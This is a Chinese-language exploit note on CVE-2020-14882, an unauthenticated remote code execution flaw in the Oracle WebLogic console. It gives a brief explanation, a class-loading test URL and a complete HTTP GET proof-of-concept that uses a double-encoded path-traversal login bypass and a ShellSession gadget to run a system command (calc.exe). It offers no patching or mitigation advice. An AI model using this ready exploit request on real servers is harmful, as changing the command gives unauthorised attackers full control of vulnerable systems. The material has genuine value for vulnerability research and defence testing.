menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-14882) weblogic 未授权命令执行 chevron_right (CVE-2020-14882) weblogic 未授权命令执行.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-14882) weblogic 未授权命令执行.md
    2.11 KB / 2021-07-15 20:09:18
        # CVE-2020-14882 weblogic 未授权命令执行
    
    ## **简介**
    
    未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
    
    ![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223454813.png)
    
    根据补丁diff结果我们可以看出,可以看出上面的变化
    
    我们可以通过下面的代码,任意加载某个类或者对象
    
    ```
    http://<target>/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("ahihi")
    ```
    
    ![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223454970.png)
    
    ## **未授权访问**
    
    ![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223452474.png)
    
    非法字符绕过登陆保护
    
    ## **POC**
    
    首先通过非法字符绕过访问,然后通过Gadget调用命令执行,poc如下
    
    ![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223449403.png)
    
    ```
    GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
    Host: 192.168.3.189:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ADM
    Upgrade-Insecure-Requests: 1
    ```
    
    
    
    https://mp.weixin.qq.com/s/48VIwTkyFVXUTS78kNByhg
    
    links
    file_download